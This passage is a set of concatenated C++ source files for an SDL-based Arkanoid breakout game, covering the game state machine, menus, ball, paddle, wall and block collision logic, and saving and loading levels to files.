}<file_sep>#pragma once #include "SDLGameObject.h" class Game; using CallBackOnClick = void (Game *gamePtr); class Button : public SDLGameObject { protected: CallBackOnClick *callback = nullptr; uint row = 0, col = 0; public: Button(Game *gamePtr, Vector2D pos, CallBackOnClick cb, Texture *text, uint r); ~Button(); virtual bool handleEvents(SDL_Event &e); void update () {} void render (); }; <file_sep>#pragma once #include "checkML.h" #include "Texture.h" #include "Vector2D.h" #include "MovingObject.h" const double MAX_SPEED_MODULE = 6; const double BASE_SPEED = -2; class Ball : public MovingObject{ // --------------------- variables------------------------------------------------------ private: int cellSize = STANDARD_CELL_HEIGHT; // ---------------------- methods ------------------------------------------------------ public: Ball (Game* gamePtr, PlayState *playStatePtr); ~Ball (); // initializes the ball position in the center of the map, just over the paddle void setInitialPosition (int mapWidth, int verticalOffset); // renders the ball virtual void render (); // checks and handles the collisions void checkCollisions (); // checks if the ball has fallen down the screen bool checkBallOut (); // updates the ball position virtual void update (); virtual bool handleEvents (SDL_Event &e) { return SDLGameObject::handleEvents (e); } virtual void loadFromFile (ifstream &file); virtual void saveToFile (ofstream &file); }; <file_sep>#include "Wall.h" #include "Game.h" #include "PlayState.h" Wall::Wall (Game* gamePtr, PlayState *playStatePtr, Texture* texturePtr) { game = gamePtr; playState = playStatePtr; texture = texturePtr; } Wall::~Wall () { game = nullptr; texture = nullptr; } void Wall::render () { ArkanoidObject::render (); } void Wall::setScale (int newHeight, int newWidth, WallType type) { width = newWidth; height = newHeight; setVectors (type); } void Wall::setVectors (WallType type) { switch (type) { case topW: position.setX (WINDOW_ORIGIN); position.setY (WINDOW_ORIGIN); collisionVector.setX (0.0); collisionVector.setY (1.0); break; case rightW: position.setX (playState->getMapWidth() - width); position.setY (WINDOW_ORIGIN); collisionVector.setX (-1.0); collisionVector.setY (0.0); break; case leftW: position.setX (WINDOW_ORIGIN); position.setY (WINDOW_ORIGIN); collisionVector.setX (1.0); collisionVector.setY (0.0); break; default: break; } } bool Wall::collides (SDL_Rect ballRect, Vector2D &collVector) { bool doesItCollide = false; if (collisionVector.getX() == -1.0) { // right wall if (ballRect.x + ballRect.w >= position.getX ()) { // the right side of the collision box is over the wall doesItCollide = true; collVector = collisionVector; } } else { // top or left wall if (ballRect.x <= (position.getX () + width) && ballRect.y <= (position.getY () + height)) { // the left and top sides of the collision box are over the wall doesItCollide = true; collVector = collisionVector; } } return doesItCollide; } void Wall::loadFromFile (ifstream &file) { double colVectX, colVectY; // load position ArkanoidObject::loadFromFile (file); //load width and height (because they change with the number of blocks the map has, it's not constant like with other objects) file >> width >> height; // load collision vector file >> colVectX >> colVectY; collisionVector.setX (colVectX); collisionVector.setY (colVectY); } void Wall::saveToFile (ofstream &file) { // save position ArkanoidObject::saveToFile (file); // save width and height (because they change with the number of blocks the map has, it's not constant like with other objects) file << width << " " << height << " "; // save collision vector file << collisionVector.getX () << " " << collisionVector.getY (); } <file_sep>#pragma once #include "MenuState.h" using namespace std; class MainMenu : public MenuState { private: enum ButtonTypes { Play, Load, Exit }; const Vector2D buttonPositions[3] = { {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 8) * 2)}, {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 8) * 4)}, {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 8) * 6)} }; static void play (Game *gamePtr); static void load (Game *gamePtr); public: MainMenu (Game *gamePtr); ~MainMenu (); virtual void render () { MenuState::render (); } virtual void update () { MenuState::update (); } virtual bool handleEvents (SDL_Event &e) { return MenuState::handleEvents (e); } }; <file_sep>#include "PauseMenu.h" #include "Game.h" PauseMenu::PauseMenu (Game *gamePtr) { game = gamePtr; stage.push_back (new Button (game, buttonPositions[ButtonTypes::Play], resume, game->getTexture(TextureNames::buttons), 3)); stage.push_back (new Button (game, buttonPositions[ButtonTypes::Save], save, game->getTexture(TextureNames::buttons), 4)); stage.push_back (new Button (game, buttonPositions[ButtonTypes::BackToMainMenu], backToMainMenu, game->getTexture(TextureNames::buttons), 5)); stage.push_back (new Button (game, buttonPositions[ButtonTypes::Exit], endGame, game->getTexture(TextureNames::buttons), 2)); } PauseMenu::~PauseMenu () { // pointer deletion is made in the base class } void PauseMenu::resume (Game * gamePtr) { gamePtr->backToGame (); } void PauseMenu::save (Game * gamePtr) { gamePtr->saveToFile (); } void PauseMenu::backToMainMenu (Game * gamePtr) { gamePtr->backToMainMenu (); } <file_sep>#pragma once #include "checkML.h" #include "Vector2D.h" #include "Texture.h" #include "ArkanoidObject.h" using namespace std; enum WallType { topW, rightW, leftW}; const double WINDOW_ORIGIN = 0.0; class Wall : public ArkanoidObject{ // --------------------- variables------------------------------------------------------ private: Vector2D collisionVector { 0.0, 0.0 }; // ---------------------- methods ------------------------------------------------------ public: Wall (Game* gamePtr, PlayState *playStatePtr, Texture* texturePtr); ~Wall (); // sets the correct proportions so the rendered wall can fit the screen void setScale (int newHeight, int newWidth, WallType type); // sets the wall's position and collision vector depending on the type (top, left or right) void setVectors (WallType type); // renders the wall virtual void render (); // checks if the ball collides with the wall and if so, returns the collision vector virtual bool collides (SDL_Rect ballRect, Vector2D &collVector); virtual void loadFromFile (ifstream &file); virtual void saveToFile (ofstream &file); virtual void update () {} virtual bool handleEvents (SDL_Event &e) { return SDLGameObject::handleEvents (e); } }; <file_sep>#include "Vector2D.h" Vector2D::~Vector2D () { } Vector2D Vector2D::operator+(const Vector2D &other) { x += other.getX(); y += other.getY(); return *this; } Vector2D Vector2D::operator-(const Vector2D &other) { x -= other.getX(); y -= other.getY(); return *this; } Vector2D Vector2D::operator*(const int &number) { x *= number; y *= number; return *this; } double Vector2D::operator*(const Vector2D &other) { return (x + other.getX()) + (y + other.getY ()); }<file_sep>#pragma once #include <math.h> #include "checkML.h" #include "Texture.h" #include "Vector2D.h" #include "MovingObject.h" const uint MAX_ANGLE = 45; const double RADIAN_CONVERSION_FACTOR = M_PI / 180; class Paddle : public MovingObject{ // --------------------- variables------------------------------------------------------ private: uint mapWidth = 0; double basicIncrement = 10; // ---------------------- methods ------------------------------------------------------ public: Paddle (Game* gamePtr, PlayState *playStatePtr); ~Paddle (); // renders the paddle virtual void render(); // initializes the paddle position to the middle of the map and a vertical offset void setInitialPosition (int mapWidth, int verticalOffset); // changes the size of the paddle based on a scale void changeSize (double scale); // given a SDL_Event e, checks for left/right arrows and changes the paddle's speed; virtual bool handleEvents (SDL_Event &e); // checks if an object collides with the paddle and if so, returns the collision vector (with a degree proportional to the paddle collision point) virtual bool collides (SDL_Rect objectRect, Vector2D &collVector); // updates the paddle position virtual void update (); virtual void saveToFile(ofstream &file); virtual void loadFromFile(ifstream &file); }; <file_sep>#include "Block.h" #include "Game.h" #include "PlayState.h" Block::Block (Game *gamePtr, PlayState *playStatePtr, int colorIndex) { game = gamePtr; playState = playStatePtr; colorIndex--; // the max. color index in the file is 6 instead of 5, bc it starts with 1 setColor (BlockColor(colorIndex)); texture = game->getTexture (TextureNames::bricks); } Block::~Block () { game = nullptr; texture = nullptr; } void Block::setColor (BlockColor newColor) { color = newColor; row = color / TEXTURE_ATTRIBUTES[TextureNames::bricks].cols; //spriteSheetRow = colorIndex / 3 col = color - (TEXTURE_ATTRIBUTES[TextureNames::bricks].cols * row); //spriteSeetCol = colorIndex - 3 * spriteSheetRow } void Block::setPosition (uint matrixColumnIndex, uint matrixRowIndex) { position.setX (double (width * matrixColumnIndex + WALL_THICKNESS)); position.setY (double (height * matrixRowIndex + WALL_THICKNESS)); } void Block::render () { texture->renderFrame (getRect(), row, col); } void Block::saveToFile (ofstream &file) { file << int (color) + 1 << " "; //add 1 because color in the file starts from 1 } <file_sep>#pragma once #include "ArkanoidError.h" const string WRONG_COLOR = "wrong or impossible color code in the file"; const string WRONG_MAP_SIZE = "wrong or inconsistent map size"; const string WRONG_TYPE = "wrong type in the file input values"; class FileFormatError : public ArkanoidError { public: FileFormatError(const string& errorType) : ArkanoidError("File format error: " + errorType + "\n") {} }; <file_sep>#pragma once #include "GameStateMachine.h" #include "GameState.h" #include "MainMenu.h" #include "PlayState.h" #include "PauseMenu.h" #include "Utilities.h" #include "Texture.h" #include "EndMenu.h" class Game { // --------------------- variables------------------------------------------------------ private: GameStateMachine *stateMachine = nullptr; bool exit = false; // to exit and end the game SDL_Window* window = nullptr; SDL_Renderer* renderer = nullptr; Texture* textures[NUM_TEXTURES]; // ---------------------- methods ------------------------------------------------------ private: // initializes SDL void iniSDL(); // initializes all textures void iniTextures(); // pauses the game and saves numeric keyboard input as the file name string pickFileName (); // destroys both renderer and window and quits SDL void quitSDL(); public: Game(); ~Game(); // setters void setWindowSize (uint w, uint h) { SDL_SetWindowSize (window, w, h); } void setExit (bool value) { exit = value; } // getters GameStateMachine* getStateMachine () const { return stateMachine; } Texture* getTexture(TextureNames textureName) const { return textures[textureName]; } SDL_Renderer* getRenderer() const { return renderer; } // menu handling operations void startGame (); void pauseMenu (); void endMenu (bool wonGame); // pops 1 time, used in the pause menu void backToGame (); // pops 2 times: used in the pause and end menu void backToMainMenu (); // renders the instructions screen for entering the file code for loading void renderInstructions (); // renders a number "keyboard" to use for entering the file code for loading void renderNumberButtons (); // returns true if the player clicked on one of the numbers or the "done" button, and returns a reference to said number (-1=done) bool handleNumberButtons (SDL_Event SDLevent, int &number); // if it exists, loads the file with the code given void loadFromFile (string code); // gets a code by cin and saves the current state on the game in file "code.ark" void saveToFile(); void handleEvents (); void run (); void render (); void update (); }; <file_sep>#pragma once #include "MenuState.h" class EndMenu : public MenuState { private: enum ButtonTypes { BackToMainMenu, Exit }; const Vector2D buttonPositions[2] = { {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 8) * 3)}, {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 8) * 5)} }; bool win; int row = 0; // determines if we use the win or you lost background Texture *background = nullptr; static void backToMainMenu (Game *gamePtr); public: EndMenu (Game *gamePtr, bool won); ~EndMenu (); virtual void render (); virtual void update () { MenuState::render (); } virtual bool handleEvents (SDL_Event &e) { return MenuState::handleEvents (e); } }; <file_sep>#pragma once #include "GameState.h" #include "Ball.h" #include "BlocksMap.h" #include "Paddle.h" #include "Wall.h" #include "InfoBar.h" #include "Reward.h" using namespace std; class PlayState : public GameState { // --------------------- variables------------------------------------------------------ private: itStage firstReward; int numRewards = 0; itStage paddleIt; itStage ballIt; InfoBar* infoBar = nullptr; bool end = false; bool levelClear = false; bool menu = true; uint lives = 3; uint currentLevel = 1; uint seconds = 0, minutes = 0; uint lastTicks = 0, currentTicks = 0; uint score = 0; uint mapWidth = WIN_WIDTH, mapHeight = WIN_HEIGHT; // ---------------------- methods ------------------------------------------------------ private: // gives the ball and paddle their initial positions, calculated from the map dimensions void positionObjects(); // creates a new reward positioned where the ball hit a block (using the ball SDL_Rect) void createReward(SDL_Rect rect); // if the control bool levelClear is true, deletes the old BlocksMap, creates a new one and reads all the corresponding info void handleLevelUp(); // keeps track of the time elapsed since starting a level void handleTime(); public: PlayState(Game *gamePtr); // used when loading a file PlayState (Game *gamePtr, uint lev, uint secs, uint mins); ~PlayState(); // getter functions uint getMapWidth() const { return mapWidth; } uint getMapHeight() const { return mapHeight; } // setter functions void setLevelClear() { levelClear = true; } void setGameOver (); void increaseLives() { if (lives < MAX_LIVES) lives++; } void decreaseLives () { lives--; if (lives == 0) setGameOver (); else positionObjects (); } void setMapSize (int w, int h) { mapWidth = w; mapHeight = h; } void setPaddleSize (double scale); // takes in the map dimensions calculated in BlocksMap::load() and scales the walls and window to fit accordingly void scaleObjects(uint newMapWidth, uint newMapHeight); // returns wether the ball collides with an object or not, and if it does, returns the collision vector bool collides(SDL_Rect ballRect, Vector2D ballSpeed, Vector2D &collVector); // checks if a reward collides with the paddle bool rewardCollides(SDL_Rect rewardRect); // deletes an object from the list void killObject(itStage it); // calls the render method of all stage objects virtual void render(); // calls the update method of all stage objects virtual void update(); // checks for esc and if it hasnt been pushed calls the handle events method of all stage objects virtual bool handleEvents (SDL_Event &e); // calls the load from file method of all stage objects void loadFromFile (ifstream &file); // calls the save to file method of all stage objects void saveToFile(ofstream &file); }; <file_sep>#include "GameStateMachine.h" #include "GameState.h" #include "Game.h" GameStateMachine::GameStateMachine() { } GameStateMachine::~GameStateMachine() { while (!gameStateStack.empty ()) { popState (); } } GameState* GameStateMachine::currentState() { return gameStateStack.top(); } void GameStateMachine::pushState(GameState* state) { gameStateStack.push(state); } void GameStateMachine::popState() { if (!gameStateStack.empty()){ delete gameStateStack.top(); gameStateStack.pop(); } } void GameStateMachine::changeState(GameState* state) { popState(); pushState(state); }<file_sep>#pragma once #include "ArkanoidError.h" class SDLError : public ArkanoidError { public: SDLError (const string& what_arg) : ArkanoidError (what_arg) {} // specific message is sent using SDL error in the appropiate modules }; <file_sep>#include "MenuState.h" #include "Game.h" MenuState::MenuState() { } MenuState::~MenuState() { // pointer deletion is made in the base class } void MenuState::endGame (Game * gamePtr) { gamePtr->setExit (true); } <file_sep>#pragma once #include "MenuState.h" using namespace std; class PauseMenu : public MenuState { private: enum ButtonTypes { Play, Save, BackToMainMenu, Exit }; const Vector2D buttonPositions[4] = { {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 16) * 3)}, {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 16) * 6)}, {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 16) * 9)}, {double(STANDARD_BUTTON_X), double((WIN_HEIGHT / 16) * 12)} }; static void resume (Game *gamePtr); static void save (Game *gamePtr); static void backToMainMenu (Game *gamePtr); public: PauseMenu (Game *gamePtr); ~PauseMenu (); virtual void render () { MenuState::render (); } virtual void update () { MenuState::render (); } virtual bool handleEvents (SDL_Event &e) { return MenuState::handleEvents (e); } }; <file_sep>#pragma once #include "checkML.h" #include "Vector2D.h" #include "Texture.h" #include "Utilities.h" #include "ArkanoidObject.h" enum BlockColor { blue, green, red, yellow, black, purple}; class Block : public ArkanoidObject{ // --------------------- variables------------------------------------------------------ private: int row, col; // position in the sprite sheet BlockColor color; // ---------------------- methods ------------------------------------------------------ public: Block () {}; Block (Game *gamePtr, PlayState *playStatePtr, int colorIndex); ~Block (); // sets the internal color atribute to newColor, and calculates the sprite sheet row and column to be used when rendering void setColor (BlockColor newColor); // renders the block void render (); // get functions for the position (both X and Y) int getX () const { return position.getX (); } int getY () const { return position.getY (); } // initializes the block position according to the matrix row and column index (the [c][r]) void setPosition (uint matrixColumnIndex, uint matrixRowIndex); int getColor() { return color + 1; } virtual void loadFromFile (ifstream &file) {} // it is done directly in blocksmap, because the block needs the color for the constructor, and to find the right texture virtual void saveToFile (ofstream &file); virtual void update () {} virtual bool handleEvents (SDL_Event &e) { return SDLGameObject::handleEvents (e); } }; <file_sep>#pragma once #include "checkML.h" class Vector2D { // --------------------- variables------------------------------------------------------ private: double x, y; // ---------------------- methods ------------------------------------------------------ public: Vector2D () : x (0.0), y (0.0) {} Vector2D (double xVal, double yVal) : x (xVal), y (yVal) {} ~Vector2D (); // sum (+) operation between two vectors Vector2D operator+(const Vector2D &other); // substraction (-) operation between two vectors Vector2D operator-(const Vector2D &other); // multiplication by an integer (*int) Vector2D operator*(const int &number); // scalar product (Vector2D · Vector2D) double operator*(const Vector2D &other); // getter functions for X and Y double getX () const { return x; } double getY () const { return y; } // setter functions for X and Y void setX (double newX) { x = newX; } void setY (double newY) { y = newY; } }; <file_sep>#pragma once #include "GameState.h" class MenuState : public GameState { protected: static void endGame (Game *gamePtr); public: MenuState(); ~MenuState(); virtual void render () { GameState::render (); } virtual void update () { GameState::update (); } virtual bool handleEvents (SDL_Event &e) { return GameState::handleEvents (e); } }; <file_sep>#include "GameState.h" #include "Game.h" GameState::~GameState(){ for (itStage it = stage.begin(); it != stage.end(); it++) delete (*it); } void GameState::render() { for (itStage it = stage.begin (); it != stage.end (); ++it) { (*it)->render (); } } void GameState::update(){ itStage it = stage.begin (); while (it != stage.end ()) { itStage next = it; ++next; (*it)->update (); it = next; } } bool GameState::handleEvents(SDL_Event &e) { itStage it = stage.begin (); bool handled = false; while (!handled && it != stage.end ()) { if ((*it)->handleEvents (e)) { handled = true; } else ++it; } return handled; } <file_sep>#include "Ball.h" #include "Game.h" #include "PlayState.h" Ball::Ball (Game* gamePtr, PlayState *playStatePtr) { game = gamePtr; playState = playStatePtr; texture = game->getTexture (TextureNames::ball_); height = cellSize; width = cellSize; speed.setX (MAX_SPEED_MODULE * -0.6); speed.setY (MAX_SPEED_MODULE * -0.6); } Ball::~Ball () { game = nullptr; texture = nullptr; } void Ball::setInitialPosition (int mapWidth, int verticalOffset) { position.setX (double (mapWidth) / 2 + double (cellSize)); position.setY (double (verticalOffset)); } void Ball::render () { ArkanoidObject::render (); } void Ball::checkCollisions () { Vector2D collVect; if (playState->collides (this->getRect(), speed, collVect)) { if (collVect.getX () == 0.0) { speed.setY (-1 * speed.getY ()); } else if (collVect.getY () == 0.0) { speed.setX (-1 * speed.getX ()); } else { // collision with the paddle Vector2D collVectCopy = collVect; double xAux = -1 * collVect.getX () * MAX_SPEED_MODULE; double yAux = -1 * collVect.getY () * MAX_SPEED_MODULE; if (xAux == 0) { if (collVectCopy.getX () < 0) xAux = -(MAX_SPEED_MODULE + yAux); else xAux = MAX_SPEED_MODULE + yAux; } speed.setX (xAux); speed.setY (yAux); } } } bool Ball::checkBallOut () { return (position.getY () + cellSize > playState->getMapHeight ()); } void Ball::update () { MovingObject::update(); checkCollisions (); if (checkBallOut ()) { playState->decreaseLives (); } } void Ball::loadFromFile (ifstream &file) { MovingObject::loadFromFile (file); } void Ball::saveToFile (ofstream &file) { MovingObject::saveToFile (file); }<file_sep>#include "SDLGameObject.h" #include "Texture.h" #include "Game.h" SDLGameObject::SDLGameObject(Game* gameptr, int posX, int posY, int objectWidth, int objectHeight, Texture* objectTexture, TextureNames textureName) { game = gameptr; position.setX(posX); position.setY(posY); width = objectWidth; height = objectHeight; // texture = game->getTexture(textureName); } void SDLGameObject::render() { texture->render(getRect()); } SDL_Rect SDLGameObject::getRect() { SDL_Rect rect{ position.getX(), position.getY(), width, height }; return rect; }<file_sep>#pragma once #include "ArkanoidObject.h" #include <fstream> class MovingObject : public ArkanoidObject { protected: Vector2D speed; public: MovingObject(); virtual ~MovingObject(); virtual void update(); virtual void loadFromFile(ifstream &file); virtual void saveToFile(ofstream &file); }; <file_sep>#include "PlayState.h" #include "Game.h" PlayState::PlayState(Game *gamePtr) { game = gamePtr; stage.push_back (new BlocksMap (game, this)); stage.push_back (new Wall (game, this, game->getTexture (TextureNames::sideWall))); // leftW stage.push_back (new Wall (game, this, game->getTexture (TextureNames::sideWall))); // rightW stage.push_back (new Wall (game, this, game->getTexture (TextureNames::topWall))); // topW stage.push_back (new Ball (game, this)); ballIt = stage.end(); // ballIt set past the end ballIt--; // ballIt actually pointing to the position in the list stage.push_back (new Paddle (game, this)); paddleIt = stage.end (); // paddleIt set past the end paddleIt--; //paddleIt actually pointing to the position in the list firstReward = stage.end (); // loads the level into BlocksMap if (dynamic_cast<BlocksMap*>(*stage.begin ()) != nullptr) { dynamic_cast<BlocksMap*>(*stage.begin ())->load (LEVEL_SHARED_NAME + to_string (currentLevel) + LEVEL_EXTENSION); } else throw ArkanoidError ("Casting error\n"); infoBar = new InfoBar (game, this); positionObjects (); } PlayState::PlayState (Game *gamePtr, uint lev, uint secs, uint mins) { currentLevel = lev; seconds = secs; minutes = mins; game = gamePtr; stage.push_back (new BlocksMap (game, this)); stage.push_back (new Wall (game, this, game->getTexture (TextureNames::sideWall))); // leftW stage.push_back (new Wall (game, this, game->getTexture (TextureNames::sideWall))); // rightW stage.push_back (new Wall (game, this, game->getTexture (TextureNames::topWall))); // topW stage.push_back (new Ball (game, this)); ballIt = stage.end(); // ballIt set past the end ballIt--; // ballIt actually pointing to the position in the list stage.push_back (new Paddle (game, this)); paddleIt = stage.end (); // paddleIt set past the end paddleIt--; //paddleIt actually pointing to the position in the list firstReward = stage.end (); } PlayState::~PlayState() { // stage pointer deletion is made in the base class delete infoBar; } void PlayState::positionObjects () { // position paddle ------------------------------------- if (dynamic_cast<Paddle*>(*paddleIt) != nullptr) { dynamic_cast<Paddle*>(*paddleIt)->setInitialPosition (mapWidth, mapHeight - STANDARD_CELL_HEIGHT * 3); } else throw ArkanoidError ("Casting error\n"); // position ball -------------------------------------- if (dynamic_cast<Ball*>(*ballIt) != nullptr) { dynamic_cast<Ball*>(*ballIt)->setInitialPosition (mapWidth, mapHeight - STANDARD_CELL_HEIGHT * 4); } else throw ArkanoidError ("Casting error\n"); } void PlayState::scaleObjects (uint newMapWidth, uint newMapHeight) { mapHeight = newMapHeight; mapWidth = newMapWidth; itStage wallIt = stage.begin (); // it points to map for now wallIt++; // but now it points to the first wall // we can't make it in a loop because each wall has unique scale // left wall ------------------------------------------- if (dynamic_cast<Wall*>(*wallIt) != nullptr) { dynamic_cast<Wall*>(*wallIt)->setScale (mapHeight - STANDARD_CELL_HEIGHT, WALL_THICKNESS, WallType::leftW); // -STANDARD_CELL_HEIGHT to account for the info bar } else throw ArkanoidError ("Casting error\n"); wallIt++; // right wall ---------------------------------------- if (dynamic_cast<Wall*>(*wallIt) != nullptr) { dynamic_cast<Wall*>(*wallIt)->setScale (mapHeight - STANDARD_CELL_HEIGHT, WALL_THICKNESS, WallType::rightW); } else throw ArkanoidError ("Casting error\n"); wallIt++; // top wall ------------------------------------------ if (dynamic_cast<Wall*>(*wallIt) != nullptr) { dynamic_cast<Wall*>(*wallIt)->setScale (WALL_THICKNESS, mapWidth, WallType::topW); } else throw ArkanoidError ("Casting error\n"); game->setWindowSize (mapWidth, mapHeight); } void PlayState::setPaddleSize (double scale) { if (dynamic_cast<Paddle*>(*paddleIt) != nullptr) { dynamic_cast<Paddle*>(*paddleIt)->changeSize (scale); } else throw ArkanoidError ("Casting error\n"); } bool PlayState::collides (SDL_Rect ballRect, Vector2D ballSpeed, Vector2D &collVector) { bool ballCollides = false; Block* blockPtr = nullptr; itStage it = stage.begin (); // it starts pointing at the map // ----------------------------------------------- if collides with the blocks... if (dynamic_cast<BlocksMap*>(*it) != nullptr) { blockPtr = dynamic_cast<BlocksMap*>(*it)->collides (ballRect, ballSpeed, collVector); } else throw ArkanoidError ("Casting error\n"); if (blockPtr != nullptr) { srand (currentTicks); int rewardRand = rand () % 3; // random number [0, 5] to check if a reward is created ballCollides = true; dynamic_cast<BlocksMap*>(*it)->setBlockNull (blockPtr); if (rewardRand < 1) { createReward (ballRect); } } ++it; // it now points to the first wall // ----------------------------------------------- if collides with any of the walls or the paddle... while (it != firstReward && !ballCollides) { // the paddle is the last object before the rewards ballCollides = (*it)->collides (ballRect, collVector); ++it; } return ballCollides; } bool PlayState::rewardCollides (SDL_Rect rewardRect) { Vector2D dummyVector2D; bool ret = false; if (dynamic_cast<Paddle*>(*paddleIt) != nullptr) { ret = dynamic_cast<Paddle*>(*paddleIt)->collides (rewardRect, dummyVector2D); } else throw ArkanoidError ("Casting error\n"); return ret; } void PlayState::createReward (SDL_Rect rect) { srand (currentTicks); int rewardType = rand () % 4; Reward *r = new Reward (game, this, RewardType (rewardType)); r->setPosition (rect); stage.push_back (r); itStage itLastReward = --(stage.end ()); if (firstReward == stage.end ()) { firstReward = itLastReward; } numRewards++; r->setItList (itLastReward); } void PlayState::killObject (itStage it) { if (it == firstReward) { firstReward++; } delete *it; stage.erase (it); numRewards--; } bool PlayState::handleEvents (SDL_Event & e) { bool handled = false; if (e.type == SDL_KEYUP) { if (e.key.keysym.sym == SDLK_ESCAPE) { game->pauseMenu (); return true; } } // only checks if esc hasnt been pushed handled = GameState::handleEvents (e); return handled; } void PlayState::handleLevelUp () { if (levelClear) { delete (*stage.begin ());// delete the old map and make to new one for the new level stage.erase (stage.begin ()); stage.push_front (new BlocksMap (game, this)); // new map delete infoBar; // delete the old info bar to make a new one while (numRewards > 0) { killObject (firstReward); } currentLevel++; if (currentLevel > MAX_LEVEL) game->endMenu (true); else { // static cast because we know for sure that the first object is the map (it was created within this method) static_cast<BlocksMap*>(*stage.begin())->load (LEVEL_SHARED_NAME + to_string (currentLevel) + LEVEL_EXTENSION); seconds = 0; minutes = 0; infoBar = new InfoBar (game, this); positionObjects (); levelClear = false; } } } void PlayState::handleTime () { currentTicks = SDL_GetTicks (); if (currentTicks > lastTicks + MILLISECONDS_IN_A_TICK) { seconds++; if (seconds > 59) { seconds = 0; minutes++; } lastTicks = currentTicks; } } void PlayState::setGameOver () { game->endMenu (false); } void PlayState::render() { infoBar->render (seconds, minutes, currentLevel, lives); GameState::render (); } void PlayState::update () { GameState::update (); handleLevelUp (); handleTime (); } void PlayState::loadFromFile (ifstream & file) { // in this method we use static cast to the base class of all game objects in the playscene, because we need to call load from file (which wouldn't make sense in SDLObject as a button wouln't need to load itself from a file) itStage it = stage.begin (); static_cast<ArkanoidObject*>(*it)->loadFromFile(file); // loads map ++it; infoBar = new InfoBar (game, this); for (it; it != stage.end(); ++it) { static_cast<ArkanoidObject*>(*it)->loadFromFile(file); } file >> numRewards; firstReward = stage.end (); for (uint i = 0; i < numRewards; ++i) { stage.push_back (new Reward (game, this)); it = stage.end (); --it; static_cast<ArkanoidObject*>(*it)->loadFromFile (file); static_cast<Reward*>(*it)->setItList (it); } game->setWindowSize (mapWidth, mapHeight); } void PlayState::saveToFile (ofstream & file) { // static cast to Arkanoid object: see method above for our explanation file << currentLevel << " " << seconds << " " << minutes << "\n"; for (itStage it = stage.begin (); it != firstReward; ++it) { static_cast<ArkanoidObject*>(*it)->saveToFile (file); file << "\n"; } file << numRewards << "\n"; for (itStage it = firstReward; it != stage.end (); ++it) { static_cast<ArkanoidObject*>(*it)->saveToFile (file); file << "\n"; } } <file_sep>#pragma once #include "ArkanoidError.h" class FileNotFoundError : public ArkanoidError { public: FileNotFoundError (const string& fileName) : ArkanoidError ("File " + fileName + " could not be found\n") {} }; <file_sep>#pragma once #include <iostream> #include <fstream> #include <new> #include <string> #include <list> #include "Utilities.h" #include "SDLGameObject.h" #include "Texture.h" #include "Button.h" #include "FileNotFoundError.h" #include "FileFormatError.h" #include "SDLError.h" #include "ArkanoidError.h" class Game; typedef list<SDLGameObject*>::iterator itStage; class GameState { protected: list <SDLGameObject*> stage; Game* game; public: virtual ~GameState(); virtual void render(); virtual void update(); virtual bool handleEvents(SDL_Event &e); // be careful with self destruction here }; <file_sep>#pragma once #include "checkML.h" #include "SDL.h" // Windows class GameObject { public: // ---------------------- methods ------------------------------------------------------ virtual ~GameObject() {}; virtual void render() = 0; virtual void update() = 0; virtual bool handleEvents(SDL_Event &e) = 0; };<file_sep>#pragma once #include "Block.h" #include "checkML.h" #include "ArkanoidObject.h" #include "FileNotFoundError.h" class BlocksMap : public ArkanoidObject{ // --------------------- variables------------------------------------------------------ private: uint rows, cols; uint cellHeight = 20, cellWidth = 60; uint mapHeight, mapWidth; uint nBlocks = 0; Block*** cells = nullptr; Game* game = nullptr; // ---------------------- methods ------------------------------------------------------ public: BlocksMap (Game* gamePtr, PlayState *playStatePtr); ~BlocksMap (); // deletes and sets the specified block to nullPtr void setBlockNull (Block* blockPtr); // loads data from the .ark files and saves it to a Block matrix (cells); also scales the window size according to the number of rows and cols void load (const string &filename); // checks if the ball collides with the block map and if so, returns a pointer to the hit block. if nothing is hit, returns nullptr Block* collides (const SDL_Rect& ballRect, const Vector2D& ballVel, Vector2D& collVector); // returns a pointer to the block that's positioned in the point p, or nullptr if there is none Block* blockAt (const Vector2D& p); // renders the whole Block matrix virtual void render (); // checks if the level is clear, and if so calls game->setLevelClear virtual void update (); virtual void saveToFile(ofstream &file); virtual void loadFromFile(ifstream &file); virtual bool handleEvents (SDL_Event &e) { return SDLGameObject::handleEvents (e); } private: // given a point, calculates the row and column it occupies in the matrix void getBlockMatrixCoordinates (const Vector2D &point, int &c, int &r); }; <file_sep>#pragma once #include <iostream> #include <fstream> #include "GameObject.h" #include "Vector2D.h" #include "Texture.h" #include "Utilities.h" #include "FileFormatError.h" class Game; class SDLGameObject : public GameObject { protected: Vector2D position; int width = STANDARD_CELL_WIDTH; int height = STANDARD_CELL_HEIGHT; Texture* texture = nullptr; Game* game = nullptr; public: SDLGameObject() {}; SDLGameObject(Game* gameptr, int posX, int posY, int width, int height, Texture* texture, TextureNames textureName); virtual ~SDLGameObject() {}; virtual SDL_Rect getRect(); virtual bool collides(SDL_Rect objectRect, Vector2D &collVector) { return false; }; virtual void render(); virtual void update() = 0; virtual bool handleEvents (SDL_Event &e) { return false; } };<file_sep>#pragma once #include "SDLGameObject.h" class PlayState; class ArkanoidObject : public SDLGameObject { protected: PlayState *playState = nullptr; public: ArkanoidObject(); ~ArkanoidObject(); virtual bool collides (SDL_Rect objectRect, Vector2D &collVector) { return false; }; virtual void loadFromFile(ifstream &file); virtual void saveToFile(ofstream &file); }; <file_sep>#include "EndMenu.h" #include "Game.h" EndMenu::EndMenu (Game *gamePtr, bool won) { game = gamePtr; background = game->getTexture (TextureNames::endmenuTextures); win = won; if (!win) { row = 1; } stage.push_back (new Button (game, buttonPositions[ButtonTypes::BackToMainMenu], backToMainMenu, game->getTexture(TextureNames::buttons), 5)); stage.push_back (new Button (game, buttonPositions[ButtonTypes::Exit], endGame, game->getTexture(TextureNames::buttons), 2)); } EndMenu::~EndMenu () { background = nullptr; // pointer deletion is made in the base class } void EndMenu::backToMainMenu (Game * gamePtr) { gamePtr->backToMainMenu (); } void EndMenu::render () { background->renderFrame (FULL_WINDOW_RECT, row, 0); MenuState::render (); }<file_sep>#include "SDL.h" #include "SDL_image.h" #include <iostream> #include "Game.h" #include "checkML.h" using namespace std; int main(int argc, char* argv[]){ _CrtSetDbgFlag ( _CRTDBG_LEAK_CHECK_DF); try { Game* game = new Game(); game->run(); delete game; } catch (string error) { cout << 